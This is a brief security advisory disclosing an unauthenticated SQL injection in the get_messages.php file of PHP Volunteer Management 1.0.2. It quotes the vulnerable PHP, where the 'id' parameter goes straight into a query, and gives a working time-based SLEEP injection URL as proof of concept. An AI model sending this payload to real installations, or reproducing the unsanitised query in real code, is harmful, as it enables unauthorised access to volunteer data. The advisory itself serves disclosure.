PHP Volunteer Management 1.0.2 SQL Injection

`# Title: PHP Volunteer Management (get_messages.php) SQL Injection Vulnerabilities  
#  
# Author: eidelweiss  
# Twitter: @AriosRandy  
# Website: www.eidelweiss.info  
# Software Site: https://sourceforge.net/projects/phpvolunteer/  
# Version: 1.0.2  
# Category: webapp (php)  
# Greetz: Devilzc0de, exploit-db, G13 (first vuln Disclose http://www.exploit-db.com/exploits/18788/) and YOU !!!  
  
##### ToC #####  
  
0x01 Description  
0x02 vuln c0de  
  
##### 0x01 Description #####  
  
This is a PHP Volunteer Management software. Keep track of Volunteer  
hours worked and location assignments. This system is built on  
PHP/MySql.  
  
##### 0x02 vuln c0de #####  
  
---------------Vulnerability-------------------  
  
get_messages.php  
  
==  
<?php  
define('INCLUDE_CHECK',true);  
include '../../../config/connect.php';  
$id = $_GET['id'];  
$query = "SELECT * FROM messages, volunteers WHERE message_to_id = '$id'  
AND message_from_id = volunteer_id ORDER BY message_state, message_id";  
$mysql_result = mysql_query($query);  
$result = array();  
while ($row = mysql_fetch_assoc($mysql_result)) {  
$result[] = $row;  
}  
$data = json_encode($result);  
  
print_r($data);  
?>  
==  
  
The 'id' parameter is vulnerable to SQL Injection. No authentication is needed.  
  
----------Exploit-----------------------------------  
  
  
http://localhost/mods/messages/data/get_messages.php?id=[SQLi]&take=10&skip=0&page=1&pageSize=10  
  
------------PoC---------------------------  
  
  
http://localhost/mods/messages/data/get_messages.php?id=1%27%20AND%20SLEEP%285%29%20AND%20%27BDzu%27=%27BDzu&take=10&skip=0&page=1&pageSize=10  
  
##### E0F #####  
  
`